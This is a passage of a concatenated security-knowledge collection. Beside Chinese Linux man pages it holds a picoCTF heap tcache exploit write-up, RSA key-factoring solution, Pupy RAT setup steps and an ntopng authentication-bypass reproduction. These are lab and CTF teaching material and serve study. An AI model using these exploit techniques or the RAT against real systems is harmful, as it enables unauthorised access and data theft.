这是执行程序的主要目录,其中的绝大多数为一般用户使用, 除了那些启动系统或修复系统或不是本地安装的程序一般都 放在此目录下。 .TP .I /usr/bin/X11 X11执行文件放置的地方;在Linux系统中,它通常是对 .IR /usr/X11R6/bin . 符号连接表 .TP .I /usr/dict 此目录保存拼写检查器所使用的词汇表文件。 .TP .I /usr/doc 此目录下应可以找到那些已安装的软件文档。 .TP .I /usr/etc 此目录可用来那些存放整个网共用的配置文件。然而那可执行命 令指向总是使用参照使用 .I /etc 目录下的文件。 .I /etc 目录下连接文件应指向 .IR /usr/etc . 目录下适当的文件。 .TP .I /usr/include C程序语言编译使用的Include"包括"文件。 .TP .I /usr/include/X11 C程序语言编译和X\-Windows系统使用的 Include"包括"文件。它通 常中指向 .I /usr/X11R6/include/X11. 符号连接表。 .TP .I /usr/include/asm 申明汇编函数的Include"包括"文件,它通常是指向 .IR /usr/src/linux/include/asm 目录的符号连接 .TP .I /usr/include/linux 包含系统变更的信息通常是指向 .I /usr/src/linux/include/linux 目录的符号连接表,来获得操作系统特定信息。 (注:用户应在此自行包含那些保证自己开发的程序正常运行所需的libc 函数库。不管怎样,Linux核心系统不是设计用来执行直接运行用户程序 的,它并不知道用户程序需要使用哪个版本的libc库 。如果你随意将 .I /usr/include/asm 和 .I /usr/include/linux 指向一个系统内核,系统很可能崩溃。Debian系统不这么做。它使用 libc*-dev运行包中提供的内核系统标识,以保证启动所有正确的文件。) .TP .I /usr/include/g++ GNU C++编译器所使用的Include"包括"文件。 .TP .I /usr/lib 目标库文件,包括动态连接库加上一些通常不是直接调用的可执行文件。一 些复杂的程序可能在此占用整个子目录。 .TP .I /usr/lib/X11 存放X系统数据文件及系统配置文件的地方。 Linux中通常是指向 .IR /usr/X11R6/lib/X11 目录的符号连接表。 .TP .I /usr/lib/gcc-lib GNU C 编译器所使用的可执行文件和"包括"文件。 .BR gcc (1). .TP .I /usr/lib/groff GNU groff 文档格式系统所使用的文件。 .TP .I /usr/lib/uucp .BR uucp (1) 所使用的文件。 .TP .I /usr/lib/zoneinfo 有关时区信息文件文件。 .TP .I /usr/local 安装在本地执行程序的地方。 .TP .I /usr/local/bin 在此地放置本地执行程序的二进制文件。 .TP .I /usr/local/doc 放置本地文档。 .TP .I /usr/local/etc 安装在本地程序的配置文件。 .TP .I /usr/local/lib 安装在本地程序的库文件。 .TP .I /usr/local/info 安装在本地程序有关信息文件。 .TP .I /usr/local/man 安装在本地程序使用手册。 .TP .I /usr/local/sbin 安装在本地的系统管理程序。 .TP .I /usr/local/src 安装在本地程序的源代码。 .TP .I /usr/man 手册页通常放在此目录,或相关子目录下。 .TP .I /usr/man//man[1-9] 此目录在指定的地方以源代码形式存放手册页。系统在所有的手册 页中使用自己独特的语言及代码集,可能会省略 .BR substring 子字串。 .TP .I /usr/sbin 此目录保存系统管理程序的二进制码,这些文件不是系统启动或文件 系统挂载 .BR /usr 目录或修复系统所必需的。 .TP .I /usr/share 在此目录下不同的子目录中保存了同一个操作系统在不同构架下工作 时特定应用程序的共享资料。用户可以找到通常放在 .I /usr/doc 或 .I /usr/lib 或 .IR /usr/man 目录下的这些资料。 .TP .I /usr/src 系统不同组成部份的源文件包括参考资料包。不要将你自己与项目有关的文 件放这里,因为在安装软件外,/usr下的文件属性除通常设为只读。 .TP .I /usr/src/linux 系统内核资源通常拆包安装于此。这是系统中重要的一环,因为 .BR /usr/include/linux 符号连接表指向此目录。你应当使用其他目录来来编译建立新内核。 .TP .I /usr/tmp 此目录不再使用了。它应指向目录 .IR /var/tmp 。 这个链接只是出于系统兼容的目的,一般不再使用。 .TP .I /var 此目录下文件的大小可能会改变,如缓冲文件可日志文件。 .TP .I /var/adm 此目录为 .I /var/log 甩替代,通常是指向 .IR /var/log 的符号连接表。 .TP .I /var/backups 此目录用来存放重要系统文件的后备文件 .TP .IR /var/catman/cat[1-9] " or " /var/cache/man/cat[1-9] 此目录存放根据手册分类预先格式化的参考手册页。(这些参考手册 页是相互独立的) .TP .I /var/lock 此目录存放锁定文件。依据命名习惯,设备锁定文件是 .I LCKxxxxx xxxxx与在文件系统中该设备名相同,使用的格式是HDU UUCP锁定文件, 例如包含进程标识PID的锁定文件是一个10字节的ASCII格式的数字, 后面跟一个换行符。 .TP .I /var/log 各种日志文件。 .TP .I /var/preserve 这是 .BR vi (1) 存放正在编辑中的文件,以便以后可以恢复。 .TP .I /var/run 运行时的变量文件,如存放进程标识和登录用户信息的文件。 .BR (utmp) 此目录下文件在系统启动时被自动清除。 .TP .I /var/spool 各种程序产生的缓冲或排除等待的文件 .TP .I /var/spool/at .BR at (1) 的作业存缓区 .TP .I /var/spool/cron .BR cron (1) 的作业存缓区 .TP .I /var/spool/lpd 打印缓存文件。 .TP .I /var/spool/mail 用户邮箱。 .TP .I /var/spool/smail 存放 .BR smail (1) 邮件发送程序的缓冲文件。 .TP .I /var/spool/news 新闻子系统的缓冲目录 .TP .I /var/spool/uucp .BR uucp (1) 的缓冲文件 .TP .I /var/tmp 类似 .IR /tmp , 此目录保存未指定持续时间的临时文件。 .SH "CONFORMS TO 适用于" Linux 文件系统,1.2版 .SH BUGS缺陷 这份列表是不详尽的。因为不同的系统配置是不同。 .SH "参见" .BR find (1), .BR ln (1), .BR mount (1), .BR proc (5), Linux 文件系统标准的相关内容。 .SH "[中文版维护人]" .B LetBright <letbright@netease.com> .SH "[中文版最新更新]" .B 2000/10/30 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Cache Me Outside Category: Binary Exploitation, 70 points ## Description > While being super relevant with my meme references, I wrote a program to see how much you understand heap allocations. a binary file, LibC file and makefile were attached. ## Running the Binary Locally When we first try to run the binary locally, we get a segmentation fault: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ ./heapedit zsh: segmentation fault ./heapedit ``` This is because of incompatibility between our system and the provided libc. We can work around this by downloading the correct linker ([pwninit](https://github.com/io12/pwninit) can do this automatically): ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ ls flag.txt heapedit libc.so.6 ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ pwninit bin: ./heapedit libc: ./libc.so.6 fetching linker writing solve.py stub ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ ls flag.txt heapedit ld-2.27.so libc.so.6 solve.py ``` Now we can run the program using the following syntax: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit You may edit one byte in the program. Address: ``` We can even use `patchelf` to patch the executable so that it runs normally: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ patchelf --set-interpreter ./ld-2.27.so ./heapedit ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ ./heapedit You may edit one byte in the program. Address: ``` ## Solution In this challenge we have a pretty artificial example of a heap exploit. Let's start by inspecting Ghidra's decompilation output: ```c undefined8 main(void) { long in_FS_OFFSET; undefined user_value; int user_address; int i; undefined8 *p_buf_first; undefined8 *p_buf; FILE *flag_fd; undefined8 *p_buf_last; void *local_80; char local_78 [32]; char flag [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); flag_fd = fopen("flag.txt","r"); fgets(flag,0x40,flag_fd); local_78._0_8_ = 0x2073692073696874; local_78._8_8_ = 0x6d6f646e61722061; local_78._16_8_ = 0x2e676e6972747320; local_78[24] = '\0'; p_buf_first = (undefined8 *)0x0; i = 0; while (i < 7) { p_buf = (undefined8 *)malloc(0x80); if (p_buf_first == (undefined8 *)0x0) { p_buf_first = p_buf; } *p_buf = 0x73746172676e6f43; p_buf[1] = 0x662072756f592021; p_buf[2] = 0x203a73692067616c; *(undefined *)(p_buf + 3) = 0; strcat((char *)p_buf,flag); i = i + 1; } p_buf_last = (undefined8 *)malloc(0x80); *p_buf_last = 0x5420217972726f53; p_buf_last[1] = 0x276e6f7720736968; p_buf_last[2] = 0x7920706c65682074; *(undefined4 *)(p_buf_last + 3) = 0x203a756f; *(undefined *)((long)p_buf_last + 0x1c) = 0; strcat((char *)p_buf_last,local_78); free(p_buf); free(p_buf_last); user_address = 0; user_value = 0; puts("You may edit one byte in the program."); printf("Address: "); __isoc99_scanf(&DAT_00400b48,&user_address); printf("Value: "); __isoc99_scanf(&DAT_00400b53,&user_value); *(undefined *)((long)user_address + (long)p_buf_first) = user_value; local_80 = malloc(0x80); puts((char *)((long)local_80 + 0x10)); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } ``` We can see that the program is allocating and freeing memory. It offers us to change one byte of memory somewhere, and using that we must print the flag. If we dive in a bit deeper, we can see that the program: 1. (Allocates a buffer for the flag and reads the flag into it) 2. Allocates seven buffers, copies a string into them ("Congrats! Your flag is:"), concatenates the flag to each buffer, saves a pointer to the first buffer in `p_buf_first` and a pointer to the seventh buffer in `p_buf`. 3. Allocates another buffer, copies a string into it ("Sorry! This won't help you: this is a random string."), and saves a pointer to it in `p_buf_last`. I also appends another string to it. 4. Frees the seventh buffer, and the last buffer 5. Asks the user to change the value of one byte, relative to the first buffer 6. Allocates a new buffer and prints its contents (starting from offset 16) We obviously need to change a value that will cause the print to print the flag. We'll start by changing a meaningless address and see what happens. We'll choose offset `0` which is the beginning of the first buffer. ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ ./heapedit You may edit one byte in the program. Address: 0 Value: 0 t help you: this is a random string. ``` We get part of the already-freed `p_last_buffer` printed out. Why is that? The reason is an optimization of the heap manager, which after seeing that `p_last_buffer` was freed, puts it in a special cache for freed allocations (`"tcache"`) in case anyone will want to allocate another buffer of the same size. This saves the heap manager some overhead, as explained nicely [here](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/). So, when we ask to allocate another 0x80 byte buffer, we get the last one that was freed. We need to cause the heap manager to give us a different buffer instead - one that contains the flag. Let's check the heap state by putting a breakpoint right before the first `free`. ``` gef> heap chunks Chunk(addr=0x602010, size=0x250, flags=PREV_INUSE) [0x0000000000602010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0x602260, size=0x230, flags=PREV_INUSE) [0x0000000000602260 88 24 ad fb 00 00 00 00 a3 24 60 00 00 00 00 00 .$.......$`.....] Chunk(addr=0x602490, size=0x1010, flags=PREV_INUSE) [0x0000000000602490 70 69 63 6f 43 54 46 7b 66 61 6b 65 5f 66 6c 61 picoCTF{fake_fla] Chunk(addr=0x6034a0, size=0x90, flags=PREV_INUSE) [0x00000000006034a0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603530, size=0x90, flags=PREV_INUSE) [0x0000000000603530 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x6035c0, size=0x90, flags=PREV_INUSE) [0x00000000006035c0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603650, size=0x90, flags=PREV_INUSE) [0x0000000000603650 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x6036e0, size=0x90, flags=PREV_INUSE) [0x00000000006036e0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603770, size=0x90, flags=PREV_INUSE) [0x0000000000603770 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE) [0x0000000000603800 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE) [0x0000000000603890 53 6f 72 72 79 21 20 54 68 69 73 20 77 6f 6e 27 Sorry! This won'] Chunk(addr=0x603920, size=0x1f6f0, flags=PREV_INUSE) ← top chunk gef> heap bins tcache ───────────────────────────────────────────────────────────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40 ───────────────────────────────────────────────────────────────────────────────────── ``` We can see all the allocated buffers, and none of them are in the `tcache`. Now lets move until after both buffers are free, and reinspect: ``` gef> heap chunks Chunk(addr=0x602010, size=0x250, flags=PREV_INUSE) [0x0000000000602010 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 ................] Chunk(addr=0x602260, size=0x230, flags=PREV_INUSE) [0x0000000000602260 88 24 ad fb 00 00 00 00 a3 24 60 00 00 00 00 00 .$.......$`.....] Chunk(addr=0x602490, size=0x1010, flags=PREV_INUSE) [0x0000000000602490 70 69 63 6f 43 54 46 7b 66 61 6b 65 5f 66 6c 61 picoCTF{fake_fla] Chunk(addr=0x6034a0, size=0x90, flags=PREV_INUSE) [0x00000000006034a0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603530, size=0x90, flags=PREV_INUSE) [0x0000000000603530 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x6035c0, size=0x90, flags=PREV_INUSE) [0x00000000006035c0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603650, size=0x90, flags=PREV_INUSE) [0x0000000000603650 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x6036e0, size=0x90, flags=PREV_INUSE) [0x00000000006036e0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603770, size=0x90, flags=PREV_INUSE) [0x0000000000603770 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f] Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE) [0x0000000000603800 00 00 00 00 00 00 00 00 21 20 59 6f 75 72 20 66 ........! Your f] Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE) [0x0000000000603890 00 38 60 00 00 00 00 00 68 69 73 20 77 6f 6e 27 .8`.....his won'] Chunk(addr=0x603920, size=0x1f6f0, flags=PREV_INUSE) ← top chunk gef> heap bins tcache ───────────────────────────────────────────────────────────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40 ───────────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=7, size=0x90] count=2 ← Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE) ← Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE) ``` We can see that the `tcache` contains both freed chunks, and that the first chunk in its linked list is the one that says "This won't help you" - the one that we get back when we perform the final `malloc`. Now we need to find whoever is pointing to that buffer address, so that we can change it. We search for `0x603890` in the memory: ``` [+] Searching '\x90\x38\x60' in memory [+] In '[heap]'(0x602000-0x623000), permission=rw- 0x602088 - 0x602094 → "\x90\x38\x60[...]" [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- 0x7fffffffe240 - 0x7fffffffe24c → "\x90\x38\x60[...]" ``` We find two results. We probably need the one on the heap (`0x602088`). We just need to calculate it's relative offset from `p_buf_first`, which is the address that the program uses as the base offset for the value change. ``` gef> p/d 0x602088 - 0x6034a0 $6 = -5144 ``` We'll change the value at offset `-5144` to `0x0` in order to point to somewhere within the previous allocation: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Cache_Me_Outside/3] └─$ { echo "-5144"; printf "\x00";} | nc mercury.picoctf.net 8054 You may edit one byte in the program. Address: Value: lag is: picoCTF{5c9838eff837a883a30c38001280f07d} ``` The flag: `picoCTF{5c9838eff837a883a30c38001280f07d}`
sec-knowleage
patch === 为开放源代码软件安装补丁程序 ## 补充说明 **patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。 ### 语法 ```shell patch(选项)(参数) ``` ### 选项 ```shell -b或--backup:备份每一个原始文件; -B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称; -c或--context:把修补数据解译成关联性的差异; -d<工作目录>或--directory=<工作目录>:设置工作目录; -D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来; -e或--ed:把修补数据解译成ed指令可用的叙述文件; -E或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件; -f或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本; -F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值; -g<控制数值>或--get=<控制数值>:设置以RSC或SCCS控制修补作业; -i<修补文件>或--input=<修补文件>:读取指定的修补问家你; -l或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符; -n或--normal:把修补数据解译成一般性的差异; -N或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过; -o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放; -p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称; -f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej; -R或--reverse:假设修补数据是由新旧文件交换位置而产生; -s或--quiet或--silent:不显示指令执行过程,除非发生错误; -t或--batch:自动略过错误,不询问任何问题; -T或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主; -u或--unified:把修补数据解译成一致化的差异; -v或--version:显示版本信息; -V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串; -Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串; -z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为src/linux/fs/super.c,加上"backup/"字符串后,文件super.c会备份于/src/linux/fs/backup目录里; -Z或--set-utc:把修补过的文件更改,存取时间设为UTC; --backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件; --binary:以二进制模式读写数据,而不通过标准输出设备; --help:在线帮助; --nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件; --verbose:详细显示指令的执行过程。 ``` ### 参数 * 原文件:指定需要打补丁的原始文件; * 补丁文件:指定补丁文件。
sec-knowleage
### 前言: 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 ![](media/ba3b2df4a82d3ccbabaf29028ef6732e.jpg) ### popy简介: Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT(远程管理工具)和主要用python编写的后期开发工具。它具有全内存读取操作,进程注入等。Pupy可以使用各种传输进行通信,迁移到进程(注入),从内存加载远程Python代码。 项目地址:https://github.com/n1nj4sec/pupy ```bash root@John:~/Desktop# git clone https://github.com/n1nj4sec/pupy.git ``` ![](media/c360e90aa66b02bfb7bfe7ed32225e06.jpg) ```bash root@John:~/Desktop/pupy/pupy# pip install rpyc ``` ![](media/09003cc5c8af0db2e2e90c454d273b8c.jpg) ```bash root@John:~/Desktop/pupy/pupy# git submodule update ``` ![](media/f4c24cb24ed0b6d8208aa9b432e4e8ba.jpg) ```bash root@John:~/Desktop/pupy/pupy# cd .. root@John:~/Desktop/pupy# pip install -r pupy/requirements.txt ``` ![](media/6e9295395f40a36d5f933308c988473b.jpg) ```bash root@John:~/Desktop/pupy/# wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz ``` ![](media/149603380a927e2c1bc280a8f54f712f.jpg) ```bash root@John:~/Desktop/pupy# tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates ``` ![](media/e8a9be054ff01cfba6461dc1c1af9a11.jpg) ```bash root@John:~/Desktop/pupy/pupy# apt-get install python-xlib ``` ![](media/be65b42740bede665cac2ce8e8dc29b0.jpg) ![](media/267fd85757adc2e1a019360121941b14.jpg) ### 附录: ```bash Collecting pyautogui Using cached PyAutoGUI-0.9.36.tar.gz Complete output from command python setup.py egg_info: Traceback (most recent call last): File "<string>", line 1, in <module> File "/tmp/pip-build-a90ODY/pyautogui/setup.py", line 6, in <module> version=__import__('pyautogui').__version__, File "pyautogui/__init__.py", line 115, in <module> from . import \_pyautogui_x11 as platformModule File "pyautogui/_pyautogui_x11.py", line 160, in <module> _display = Display(os.environ['DISPLAY']) File "/usr/lib/python2.7/UserDict.py", line 40, in __getitem__ raise KeyError(key) KeyError: 'DISPLAY' ``` **must install on local server with GUI** > Micropoor
sec-knowleage
## RSA (crypto, 100p) ### PL Version `for ENG version scroll down` Zadanie polegało na odszyfrowaniu wiadomości szyfrowanej za pomocą RSA mając dostęp do klucza publicznego. Wiadomość to: `kPmDFLk5b/torG53sThWwEeNm0AIpEQek0rVG3vCttc=` A klucz: -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9trGI8S8EacvuDLxdrL NsNuDJa26nv8AgMBAAE= -----END PUBLIC KEY----- Zadanie wspomniało też, że klucz publiczny nie jest całkiem poprawny i brakuje mu jakiegoś bitu. Dekodujemy klucz publiczny i uzyskujemy: n = 82401872610398250859431855480217685317486932934710222647212042489320711027708 e = 65537 Widzimy od razu że wartość `n` jest niepoprawna bo nie jest iloczynem 2 liczb pierwszych (dzieli się przez 4). Zamieniamy więc ostatni bit z 0 na 1 uzyskując liczbę `82401872610398250859431855480217685317486932934710222647212042489320711027709` Klucz jest bardzo krótki - ma tylko 256 bitów co oznacza, że jest podatny na faktoryzację. Dokonujemy jej za pomocą narzędzia `yafu`: ![](./rsa.png) Na tej podstawie uzyskujemy liczby `p` oraz `q` potrzebne do odtworzenia klucza prywatnego. Dokonujemy tego za pomocą rozszerzonego algorytmu Euklidesa: def egcd(a, b): u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return a, u, v q = 295214597363242917440342570226980714417 p = 279125332373073513017147096164124452877 e = 65537 n = 82401872610398250859431855480217685317486932934710222647212042489320711027709 phi = (p - 1) * (q - 1) gcd, a, b = egcd(e, phi) d = a if d < 0: d += phi print("n: " + str(d)) Mając liczbę `d` możemy teraz dokonać dekodowania wiadomości. Zamieniamy wiadomość na liczbę: `ct = 65573899802596942877560813284504892432930279657642337826069076977341847221975` A następnie wykonujemy: pt = pow(ct, d, n) print("pt: " + long_to_bytes(pt)) I uzyskujemy flagę: `TMCTF{$@!zbo4+qt9=5}` ### ENG Version The task was to crack RSA encoded message based on provided public key. The message was: `kPmDFLk5b/torG53sThWwEeNm0AIpEQek0rVG3vCttc=` And the key was: -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9trGI8S8EacvuDLxdrL NsNuDJa26nv8AgMBAAE= -----END PUBLIC KEY----- The task description mentioned that there is something wrong with public key and there is a bit missing. We decode the public key and we get: n = 82401872610398250859431855480217685317486932934710222647212042489320711027708 e = 65537 We can clearly see that the `n` is incorrect since it's not a product of 2 prime numbers (it is divisible by 4). We swtich last bit from 0 to 1 and we get `82401872610398250859431855480217685317486932934710222647212042489320711027709` The key is very short - only 256 bits so we can factor it. We do it using `yafu`: ![](./rsa.png) Based on this we get `p` and `q` numbers required for private key recovery. We do this with extended euclidean algorithm: def egcd(a, b): u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return a, u, v q = 295214597363242917440342570226980714417 p = 279125332373073513017147096164124452877 e = 65537 n = 82401872610398250859431855480217685317486932934710222647212042489320711027709 phi = (p - 1) * (q - 1) gcd, a, b = egcd(e, phi) d = a if d < 0: d += phi print("n: " + str(d)) With the `d` number we can now decode the message. We change the message into a number: `ct = 65573899802596942877560813284504892432930279657642337826069076977341847221975` Execute: pt = pow(ct, d, n) print("pt: " + long_to_bytes(pt)) And get the flag: `TMCTF{$@!zbo4+qt9=5}`
sec-knowleage
package train.rmi.remote; import java.rmi.Remote; import java.rmi.RemoteException; /** * @author wh1t3P1g * @since 2020/1/9 */ public interface IRemoteHello extends Remote { String sayHello() throws RemoteException; }
sec-knowleage
# ntopng权限绕过漏洞(CVE-2021-28073) ntopng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。 参考链接: - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/ ## 漏洞环境 执行如下命令启动ntopng: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:3000`将被跳转到登录页面,默认密码admin/admin,首次登录将会重设密码。 ## 漏洞复现 根据参考链接中的方法,编写一个简单的[poc.py](poc.py)。首先,计算出ntopng lua目录的长度: ``` python poc.py --url http://your-ip:3000/ baselength ``` ![](1.png) 可见,Vulhub靶场中的长度为36。 然后,找到我们想要越权访问的页面或接口,比如`/lua/find_prefs.lua`,正常访问时会302跳转到登录页面,无权限。 使用POC生成越权访问URL: ``` python poc.py --url http://your-ip:3000/ generate -l 36 -p find_prefs.lua ``` ![](2.png) 访问这个URL,发现可以越权返回正常信息: ![](3.png) 后续更深入的利用方法,可以自行修改poc.py利用。
sec-knowleage
'\" t .TH "JOURNALD\&.CONF" "5" "" "systemd 231" "journald.conf" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" journald.conf, journald.conf.d \- 日志服务配置文件 .SH "SYNOPSIS" .PP /etc/systemd/journald\&.conf .PP /etc/systemd/journald\&.conf\&.d/*\&.conf .PP /run/systemd/journald\&.conf\&.d/*\&.conf .PP /usr/lib/systemd/journald\&.conf\&.d/*\&.conf .SH "描述" .PP 这些文件用于配置系统日志服务 \fBsystemd-journald.service\fR(8) 的行为。 .SH "配置目录及其优先级" .PP 默认设置是在编译期间确定的, 所以仅在确实需要修改默认设置的情况下, 才需要使用配置文件。位于 /etc/systemd/ 目录中的初始配置文件, 仅包含了展示选项默认值的注释, 目的在于方便系统管理员查看和直接修改。 .PP 如果软件包想要自定义某些默认设置, 那么必须将自定义的配置文件安装到 /usr/lib/systemd/*\&.conf\&.d/ 目录中。 /etc/ 目录仅供系统管理员使用。 系统管理员可以利用下面的逻辑来覆盖默认设置: 主配置文件最先被读取, 优先级也最低。 所有 *\&.conf\&.d/ 中的配置文件 都会覆盖主配置文件中的设置。 所有 *\&.conf\&.d/ 中的配置文件(无论位于哪个目录中), 统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项, 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序, 建议给所有 *\&.conf\&.d/ 中的配置文件 都加上两位十进制数字的文件名前缀。 .PP 如果系统管理员想要屏蔽 /usr/lib/ 目录中的某个配置文件, 那么最佳做法是在 /etc/ 目录中 创建一个指向 /dev/null 的同名符号链接, 即可彻底屏蔽 /usr/lib/ 目录中的同名文件。 .SH "选项" .PP 所有选项都位于 "[Journal]" 小节: .PP \fIStorage=\fR .RS 4 在哪里存储日志文件: "volatile" 表示仅保存在内存中, 也就是仅保存在 /run/log/journal 目录中(将会被自动按需创建)。 "persistent" 表示优先保存在磁盘上, 也就优先保存在 /var/log/journal 目录中(将会被自动按需创建), 但若失败(例如在系统启动早期"/var"尚未挂载), 则转而保存在 /run/log/journal 目录中(将会被自动按需创建)。 "auto"(默认值) 与 "persistent" 类似, 但不自动创建 /var/log/journal 目录, 因此可以根据该目录的存在与否决定日志的保存位置。 "none" 表示不保存任何日志(直接丢弃所有收集到的日志), 但日志转发(见下文)不受影响。 默认值是 "auto" .RE .PP \fICompress=\fR .RS 4 默认值"yes"表示: 压缩存储大于特定阈值的对象。 .RE .PP \fISeal=\fR .RS 4 默认值"yes"表示:如果存在一个"sealing key"(由 \fBjournalctl\fR(1) 的 \fB\-\-setup\-keys\fR 命令创建), 那么就为所有持久保存的日志文件启用 FSS(\m[blue]\fBSeekable Sequential Key Generators\fR\m[]\&\s-2\u[1]\d\s+2)保护, 以避免日志文件被恶意或无意的修改。 .RE .PP \fISplitMode=\fR .RS 4 设置如何按用户分割日志文件,以实现不同的访问控制策略(日志守护进程会确保每个用户都能读取自己的日志文件)。 注意,仅分割持久保存的日志(/var/log/journal),永不分割内存中的日志(/run/log/journal)。 可以使用的分割策略如下: "uid" 